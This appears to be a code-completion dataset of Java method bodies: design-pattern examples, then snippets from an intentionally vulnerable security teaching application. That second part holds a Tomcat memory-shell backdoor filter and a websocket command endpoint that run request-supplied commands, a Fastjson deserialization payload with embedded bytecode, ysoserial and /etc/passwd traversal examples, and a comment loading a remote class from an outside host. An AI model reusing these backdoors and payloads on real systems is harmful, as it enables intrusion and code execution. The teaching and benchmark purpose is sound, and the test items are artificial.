iluwatar_java-design-patterns
java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/Hotel.java
Hotel
bookRoom
class Hotel { private final HotelDaoImpl hotelDao; public Hotel(HotelDaoImpl hotelDao) { this.hotelDao = hotelDao; } /** * Book a room. * * @param roomNumber room to book * @throws Exception if any error */ public void bookRoom(int roomNumber) throws Exception {<FILL_FUNCTION_BODY>} /...
var room = hotelDao.getById(roomNumber); if (room.isEmpty()) { throw new Exception("Room number: " + roomNumber + " does not exist"); } else { if (room.get().isBooked()) { throw new Exception("Room already booked!"); } else { var updateRoomBooking = room.get(); u...
354
132
486
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/HotelDaoImpl.java
HotelDaoImpl
delete
class HotelDaoImpl implements HotelDao { private final DataSource dataSource; public HotelDaoImpl(DataSource dataSource) { this.dataSource = dataSource; } @Override public Stream<Room> getAll() throws Exception { try { var connection = getConnection(); var statement = connection.prepare...
try (var connection = getConnection(); var statement = connection.prepareStatement("DELETE FROM ROOMS WHERE ID = ?")) { statement.setInt(1, room.getId()); return statement.executeUpdate() > 0; } catch (Exception e) { throw new Exception(e.getMessage(), e); }
1,053
84
1,137
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/twin/src/main/java/com/iluwatar/twin/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) throws Exception {<FILL_FUNCTION_BODY>} private static void waiting() throws Exception { Thread.sleep(750); } }
var ballItem = new BallItem(); var ballThread = new BallThread(); ballItem.setTwin(ballThread); ballThread.setTwin(ballItem); ballThread.start(); waiting(); ballItem.click(); waiting(); ballItem.click(); waiting(); // exit ballThread.stopMe();
82
101
183
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/twin/src/main/java/com/iluwatar/twin/BallItem.java
BallItem
click
class BallItem extends GameItem { private boolean isSuspended; @Setter private BallThread twin; @Override public void doDraw() { LOGGER.info("doDraw"); } public void move() { LOGGER.info("move"); } @Override public void click() {<FILL_FUNCTION_BODY>} }
isSuspended = !isSuspended; if (isSuspended) { twin.suspendMe(); } else { twin.resumeMe(); }
104
52
156
<methods>public non-sealed void <init>() ,public abstract void click() ,public abstract void doDraw() ,public void draw() <variables>
iluwatar_java-design-patterns
java-design-patterns/twin/src/main/java/com/iluwatar/twin/BallThread.java
BallThread
run
class BallThread extends Thread { @Setter private BallItem twin; private volatile boolean isSuspended; private volatile boolean isRunning = true; /** * Run the thread. */ public void run() {<FILL_FUNCTION_BODY>} public void suspendMe() { isSuspended = true; LOGGER.info("Begin to suspend...
while (isRunning) { if (!isSuspended) { twin.draw(); twin.move(); } try { Thread.sleep(250); } catch (InterruptedException e) { throw new RuntimeException(e); } }
177
77
254
<methods>public void <init>() ,public void <init>(java.lang.Runnable) ,public void <init>(java.lang.String) ,public void <init>(java.lang.ThreadGroup, java.lang.Runnable) ,public void <init>(java.lang.ThreadGroup, java.lang.String) ,public void <init>(java.lang.Runnable, java.lang.String) ,public void <init>(java.lang....
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var givenTime = 50; //50ms var toWin = 500; //points var pointsWon = 0; var numOfRows = 3; var start = System.currentTimeMillis(); var end = System.currentTimeMillis(); var round = 0; while (pointsWon < toWin && end - start < givenTime) { round++; var pool = new CellPool(num...
56
322
378
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/CandyGame.java
CandyGame
round
class CandyGame { Cell[][] cells; CellPool pool; int totalPoints; CandyGame(int num, CellPool pool) { this.cells = new Cell[num][num]; this.pool = pool; this.totalPoints = 0; for (var i = 0; i < num; i++) { for (var j = 0; j < num; j++) { this.cells[i][j] = this.pool.getNewCell()...
var start = System.currentTimeMillis(); var end = System.currentTimeMillis(); while (end - start + timeSoFar < totalTime && continueRound()) { for (var i = 0; i < this.cells.length; i++) { var points = 0; var j = this.cells.length - 1; while (this.cells[j][i].candy.getType().e...
980
425
1,405
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/Cell.java
Cell
fillThisSpace
class Cell { Candy candy; int positionX; int positionY; void crush(CellPool pool, Cell[][] cellMatrix) { //take out from this position and put back in pool pool.addNewCell(this); this.fillThisSpace(pool, cellMatrix); } void fillThisSpace(CellPool pool, Cell[][] cellMatrix) {<FILL_FUNCTION_BODY...
for (var y = this.positionY; y > 0; y--) { cellMatrix[y][this.positionX] = cellMatrix[y - 1][this.positionX]; cellMatrix[y][this.positionX].positionY = y; } var newC = pool.getNewCell(); cellMatrix[0][this.positionX] = newC; cellMatrix[0][this.positionX].positionX = this.positionX; ...
373
134
507
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/CellPool.java
CellPool
assignRandomCandytypes
class CellPool { private static final SecureRandom RANDOM = new SecureRandom(); public static final String FRUIT = "fruit"; public static final String CANDY = "candy"; List<Cell> pool; int pointer; Candy[] randomCode; CellPool(int num) { this.pool = new ArrayList<>(num); try { this.randomCo...
var jp = new JsonParser(); jp.parse(); var randomCode = new Candy[jp.candies.size() - 2]; //exclude generic types 'fruit' and 'candy' var i = 0; for (var e = jp.candies.keys(); e.hasMoreElements(); ) { var s = e.nextElement(); if (!s.equals(FRUIT) && !s.equals(CANDY)) { //not ge...
530
162
692
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/JsonParser.java
JsonParser
parse
class JsonParser { Hashtable<String, Candy> candies; JsonParser() { this.candies = new Hashtable<>(); } void parse() throws JsonParseException {<FILL_FUNCTION_BODY>} void setParentAndPoints() { for (var e = this.candies.keys(); e.hasMoreElements(); ) { var c = this.candies.get(e.nextElement()...
var is = this.getClass().getClassLoader().getResourceAsStream("candy.json"); var reader = new InputStreamReader(is); var json = (JsonObject) com.google.gson.JsonParser.parseReader(reader); var array = (JsonArray) json.get("candies"); for (var item : array) { var candy = (JsonObject) item; ...
210
251
461
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/unit-of-work/src/main/java/com/iluwatar/unitofwork/App.java
App
main
class App { /** * Program entry point. * * @param args no argument sent */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// create some weapons var enchantedHammer = new Weapon(1, "enchanted hammer"); var brokenGreatSword = new Weapon(2, "broken great sword"); var silverTrident = new Weapon(3, "silver trident"); // create repository var weaponRepository = new ArmsDealer(new HashMap<String, List<Weapon>>(), ...
56
169
225
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/unit-of-work/src/main/java/com/iluwatar/unitofwork/ArmsDealer.java
ArmsDealer
commitDelete
class ArmsDealer implements UnitOfWork<Weapon> { private final Map<String, List<Weapon>> context; private final WeaponDatabase weaponDatabase; @Override public void registerNew(Weapon weapon) { LOGGER.info("Registering {} for insert in context.", weapon.getName()); register(weapon, UnitActions.INSERT....
var deletedWeapons = context.get(UnitActions.DELETE.getActionValue()); for (var weapon : deletedWeapons) { LOGGER.info("Scrapping {}.", weapon.getName()); weaponDatabase.delete(weapon); }
667
68
735
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/App.java
App
main
class App { private static final int GAME_RUNNING_TIME = 2000; /** * Program entry point. * @param args runtime arguments */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
try { var world = new World(); var skeleton1 = new Skeleton(1, 10); var skeleton2 = new Skeleton(2, 70); var statue = new Statue(3, 20); world.addEntity(skeleton1); world.addEntity(skeleton2); world.addEntity(statue); world.run(); Thread.sleep(GAME_RUNNING_TIME...
73
153
226
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/Skeleton.java
Skeleton
update
class Skeleton extends Entity { private static final int PATROLLING_LEFT_BOUNDING = 0; private static final int PATROLLING_RIGHT_BOUNDING = 100; protected boolean patrollingLeft; /** * Constructor of Skeleton. * * @param id id of skeleton */ public Skeleton(int id) { super(id); patroll...
if (patrollingLeft) { position -= 1; if (position == PATROLLING_LEFT_BOUNDING) { patrollingLeft = false; } } else { position += 1; if (position == PATROLLING_RIGHT_BOUNDING) { patrollingLeft = true; } } logger.info("Skeleton {} is on position {}.", id...
227
114
341
<methods>public void <init>(int) ,public abstract void update() <variables>protected int id,protected final Logger logger,protected int position
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/Statue.java
Statue
update
class Statue extends Entity { protected int frames; protected int delay; /** * Constructor of Statue. * * @param id id of statue */ public Statue(int id) { super(id); this.frames = 0; this.delay = 0; } /** * Constructor of Statue. * * @param id id of statue * @param d...
if (++frames == delay) { shootLightning(); frames = 0; }
221
28
249
<methods>public void <init>(int) ,public abstract void update() <variables>protected int id,protected final Logger logger,protected int position
iluwatar_java-design-patterns
java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/World.java
World
processInput
class World { protected List<Entity> entities; protected volatile boolean isRunning; public World() { entities = new ArrayList<>(); isRunning = false; } /** * Main game loop. This loop will always run until the game is over. For * each loop it will process user input, update internal status,...
try { int lag = new SecureRandom().nextInt(200) + 50; Thread.sleep(lag); } catch (InterruptedException e) { LOGGER.error(e.getMessage()); Thread.currentThread().interrupt(); }
463
71
534
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/value-object/src/main/java/com/iluwatar/value/object/App.java
App
main
class App { /** * This example creates three HeroStats (value objects) and checks equality between those. */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var statA = HeroStat.valueOf(10, 5, 0); var statB = HeroStat.valueOf(10, 5, 0); var statC = HeroStat.valueOf(5, 1, 8); LOGGER.info(statA.toString()); LOGGER.info(statB.toString()); LOGGER.info(statC.toString()); LOGGER.info("Is statA and statB equal : {}", statA.equals(statB)); LOGGER...
56
153
209
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/version-number/src/main/java/com/iluwatar/versionnumber/App.java
App
main
class App { private static final Logger LOGGER = LoggerFactory.getLogger(App.class); /** * Program entry point. * * @param args command line args */ public static void main(String[] args) throws BookDuplicateException, BookNotFoundException, VersionMismatchException {<FILL_FUNCTION_...
var bookId = 1; var bookRepository = new BookRepository(); var book = new Book(); book.setId(bookId); bookRepository.add(book); // adding a book with empty title and author LOGGER.info("An empty book with version {} was added to repository", book.getVersion()); // Alice and Bob took the b...
98
365
463
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/version-number/src/main/java/com/iluwatar/versionnumber/BookRepository.java
BookRepository
update
class BookRepository { private final Map<Long, Book> collection = new HashMap<>(); /** * Adds book to collection. * Actually we are putting copy of book (saving a book by value, not by reference); */ public void add(Book book) throws BookDuplicateException { if (collection.containsKey(book.getId()))...
if (!collection.containsKey(book.getId())) { throw new BookNotFoundException("Not found book with id: " + book.getId()); } var latestBook = collection.get(book.getId()); if (book.getVersion() != latestBook.getVersion()) { throw new VersionMismatchException( "Tried to update stale v...
308
176
484
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/visitor/src/main/java/com/iluwatar/visitor/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
var commander = new Commander( new Sergeant(new Soldier(), new Soldier(), new Soldier()), new Sergeant(new Soldier(), new Soldier(), new Soldier()) ); commander.accept(new SoldierVisitor()); commander.accept(new SergeantVisitor()); commander.accept(new CommanderVisitor());
56
89
145
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/RMI/Client.java
Client
main
class Client { private Client() {} public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
try { Registry registry = LocateRegistry.getRegistry("localhost"); Hello stub = (Hello) registry.lookup("Hello"); String response = stub.sayHello(); System.out.println("response: " + response); } catch (Exception e) { System.err.println("Clien...
38
99
137
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/RMI/Server.java
Server
main
class Server implements Hello { public String sayHello() { return "Hello Word!"; } public static void main(String args[]) {<FILL_FUNCTION_BODY>} }
try { Server obj = new Server(); Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("Hello", stub); System.out.println("绑定109...
54
132
186
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/CustomCorsConfig.java
CustomCorsConfig
addCorsMappings
class CustomCorsConfig extends WebMvcRegistrationsAdapter { /** * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 */ @Bean public WebMvcConfigurer corsConfigurer() { return new WebMvcConfigurerAdapter() { @Override public void addCorsMappings(CorsRegistry registry) {<F...
// 为了支持一级域名,重写了checkOrigin //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path //.allowedOrigins(allowOrigins) .allowedMethods("GET", "POST...
250
105
355
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/HttpServiceConfig.java
CustomClientHttpRequestFactory
prepareConnection
class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { @Override protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException {<FILL_FUNCTION_BODY>} }
super.prepareConnection(connection, httpMethod); // Use custom ClientHttpRequestFactory to set followRedirects false. connection.setInstanceFollowRedirects(false);
53
45
98
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/Object2Jsonp.java
Object2Jsonp
getRealJsonpFunc
class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { private final String[] callbacks; private final Logger logger= LoggerFactory.getLogger(this.getClass()); // method of using @Value in constructor public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { ...
String reqCallback = null; for (String callback: this.callbacks) { reqCallback = req.getParameter(callback); if(StringUtils.isNotBlank(reqCallback)) { break; } } return reqCallback;
654
69
723
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/SafeDomainConfig.java
SafeDomainConfig
safeDomainParser
class SafeDomainConfig { private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中 public SafeDomainParser safeDomainParser() {<FILL_FUNCTION_BODY>} }
try { LOGGER.info("SafeDomainParser bean inject successfully!!!"); return new SafeDomainParser(); } catch (Exception e) { LOGGER.error("SafeDomainParser is null " + e.getMessage(), e); } return null;
85
68
153
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/TomcatFilterMemShell.java
TomcatFilterMemShell
doFilter
class TomcatFilterMemShell implements Filter { static{ try { System.out.println("Tomcat filter backdoor class is loading..."); final String name = "backdoorTomcatFilter"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappCla...
String cmd; if ((cmd = servletRequest.getParameter("cmd_")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); ...
773
196
969
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
WebSocketsCmdEndpoint
onMessage
class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole<String> { private Session session; @Override public void onOpen(Session session, EndpointConfig endpointConfig) { this.session = session; session.addMessageHandler(this); } @Override public void onClos...
try { Process process; boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); if (bool) { process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); } else { process = Runtime.getRuntime().exe...
172
202
374
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
Attach
readFromServer
class Attach { public AsynchronousSocketChannel client; public Session channel; } void readFromServer(Session channel, AsynchronousSocketChannel client) {<FILL_FUNCTION_BODY>
final ByteBuffer buffer = ByteBuffer.allocate(50000); Attach attach = new Attach(); attach.client = client; attach.channel = channel; client.read(buffer, attach, new CompletionHandler<Integer, Attach>() { @Override public void completed(Integer result, fi...
52
370
422
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/CRLFInjection.java
CRLFInjection
crlf
class CRLFInjection { @RequestMapping("/safecode") @ResponseBody public void crlf(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>} }
response.addHeader("test1", request.getParameter("test1")); response.setHeader("test2", request.getParameter("test2")); String author = request.getParameter("test3"); Cookie cookie = new Cookie("test3", author); response.addCookie(cookie);
58
78
136
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/ClassDataLoader.java
ClassDataLoader
classData
class ClassDataLoader { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); @RequestMapping("/classloader") public void classData() {<FILL_FUNCTION_BODY>} }
try{ ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = sra.getRequest(); String classData = request.getParameter("classData"); byte[] classBytes = java.util.Base64.getDecoder().dec...
59
199
258
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/CommandInject.java
CommandInject
codeInjectSec
class CommandInject { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd * * @param filepath filepath * @return result */ @GetMapping("/codeinject") public String codeInject(String file...
String filterFilePath = SecurityUtil.cmdFilter(filepath); if (null == filterFilePath) { return "Bad boy. I got u."; } String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redire...
396
119
515
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Cookies.java
Cookies
vuln03
class Cookies { private static String NICK = "nick"; @GetMapping(value = "/vuln01") public String vuln01(HttpServletRequest req) { String nick = WebUtils.getCookieValueByName(req, NICK); // key code return "Cookie nick: " + nick; } @GetMapping(value = "/vuln02") public String...
String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { for (Cookie cookie : cookies) { // key code. Equals can also be equalsIgnoreCase. if (NICK.equals(cookie.getName())) { nick = cookie.getValue(); ...
470
104
574
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Cors.java
Cors
vuls1
class Cors { private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; @GetMapping("/vuln/origin") public String vuls1(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>} @GetMapping("/vuln/setHeader") public String vuls2(HttpServletResponse ...
String origin = request.getHeader("origin"); response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie return info;
914
65
979
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Deserialize.java
Deserialize
Jackson
class Deserialize { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br> * <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a> ...
ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { Object obj = mapper.readValue(payload, Object.class); mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); }
775
78
853
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Dotall.java
Dotall
main
class Dotall { /** * <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a> */ public static void main(String[] args) throws Exception{<FILL_FUNCTION_BODY>} }
Pattern vuln_pattern = Pattern.compile("/black_path.*"); Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); System.out.println("Poc: " + poc); System.out.println("Not do...
91
175
266
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Fastjson.java
Fastjson
main
class Fastjson { @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody public String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 try { // 将post提交的string转换为json JSONObject ob = JSON.pars...
// Open calc in mac String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGV...
160
1,804
1,964
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/FileUpload.java
FileUpload
uploadPicture
class FileUpload { // Save the uploaded file to this folder private static final String UPLOADED_FOLDER = "/tmp/"; private final Logger logger = LoggerFactory.getLogger(this.getClass()); private static String randomFilePath = ""; // uplaod any file @GetMapping("/any") public String index()...
if (multifile.isEmpty()) { return "Please select a file to upload"; } String fileName = multifile.getOriginalFilename(); String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 String mimeType = multifile.getContentType(); // 获取MIME类型 Strin...
894
735
1,629
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/GetRequestURI.java
GetRequestURI
exclued
class GetRequestURI { private final Logger logger = LoggerFactory.getLogger(this.getClass()); @GetMapping(value = "/exclued/vuln") public String exclued(HttpServletRequest request) {<FILL_FUNCTION_BODY>} }
String[] excluedPath = {"/css/**", "/js/**"}; String uri = request.getRequestURI(); // Security: request.getServletPath() PathMatcher matcher = new AntPathMatcher(); logger.info("getRequestURI: " + uri); logger.info("getServletPath: " + request.getServletPath()); for ...
73
150
223
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/IPForge.java
IPForge
proxy
class IPForge { // no any proxy @RequestMapping("/noproxy") public static String noProxy(HttpServletRequest request) { return request.getRemoteAddr(); } /** * proxy_set_header X-Real-IP $remote_addr; * proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for * if code us...
String ip = request.getHeader("X-Real-IP"); if (StringUtils.isNotBlank(ip)) { return ip; } else { String remoteAddr = request.getRemoteAddr(); if (StringUtils.isNotBlank(remoteAddr)) { return remoteAddr; } } return ...
167
88
255
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Index.java
Index
appInfo
class Index { @RequestMapping("/appInfo") @ResponseBody public static String appInfo(HttpServletRequest request) {<FILL_FUNCTION_BODY>} @RequestMapping("/") public String redirect() { return "redirect:/index"; } @RequestMapping("/index") public static String index(Model model,...
String username = request.getUserPrincipal().getName(); Map<String, String> m = new HashMap<>(); m.put("tomcat_version", ServerInfo.getServerInfo()); m.put("username", username); m.put("login", "success"); m.put("app_name", "java security code"); m.put("java_ver...
133
141
274
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Jdbc.java
Jdbc
postgresql
class Jdbc { /** * <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a> */ @RequestMapping("/postgresql") public void postgresql(String jdbcUrlBase64) throws Exception{<FILL_FUNCTION_BODY>} @RequestMapping("/db2") public void db2(String jdbcUrlBase6...
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); String jdbcUrl = new String(b); log.info(jdbcUrl); DriverManager.getConnection(jdbcUrl);
229
64
293
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Jsonp.java
Jsonp
getCsrfToken2
class Jsonp { private String callback = WebConfig.getBusinessCallback(); @Autowired CookieCsrfTokenRepository cookieCsrfTokenRepository; /** * Set the response content-type to application/javascript. * <p> * http://localhost:8080/jsonp/vuln/referer?callback_=test */ @RequestMap...
CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token String callback = request.getParameter("fastjsonpCallback"); if (StringUtils.isNotBlank(callback)) { JSONPObject jsonpObj = new JSONPObject(callback); jsonpObj.addParameter(csrfToken);...
1,118
119
1,237
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Login.java
Login
logoutPage
class Login { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); @RequestMapping("/login") public String login() { return "login"; } @GetMapping("/logout") public String logoutPage(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>} ...
String username = request.getUserPrincipal().getName(); Authentication auth = SecurityContextHolder.getContext().getAuthentication(); if (auth != null) { new SecurityContextLogoutHandler().logout(request, response, auth); } String[] deleteCookieKey = {"JSESSIONID"...
94
226
320
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/PathTraversal.java
PathTraversal
getImgBase64
class PathTraversal { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd */ @GetMapping("/path_traversal/vul") public String getImage(String filepath) throws IOException { return ...
logger.info("Working directory: " + System.getProperty("user.dir")); logger.info("File path: " + imgFile); File f = new File(imgFile); if (f.exists() && !f.isDirectory()) { byte[] data = Files.readAllBytes(Paths.get(imgFile)); return new String(Base64.encodeBas...
301
128
429
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/QLExpress.java
QLExpress
vuln1
class QLExpress { /** * url = 'http://sb.dog:8888/'; * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); * classLoader.loadClass('Hello').newInstance(); */ @RequestMapping("/vuln1") public String vuln1(HttpServletRequest req) throws Exception{<FILL_FUNCTION_BODY>} ...
String express = WebUtils.getRequestBody(req); System.out.println(express); ExpressRunner runner = new ExpressRunner(); DefaultContext<String, Object> context = new DefaultContext<String, Object>(); Object r = runner.execute(express, context, null, true, false); System.o...
284
93
377
<no_super_class>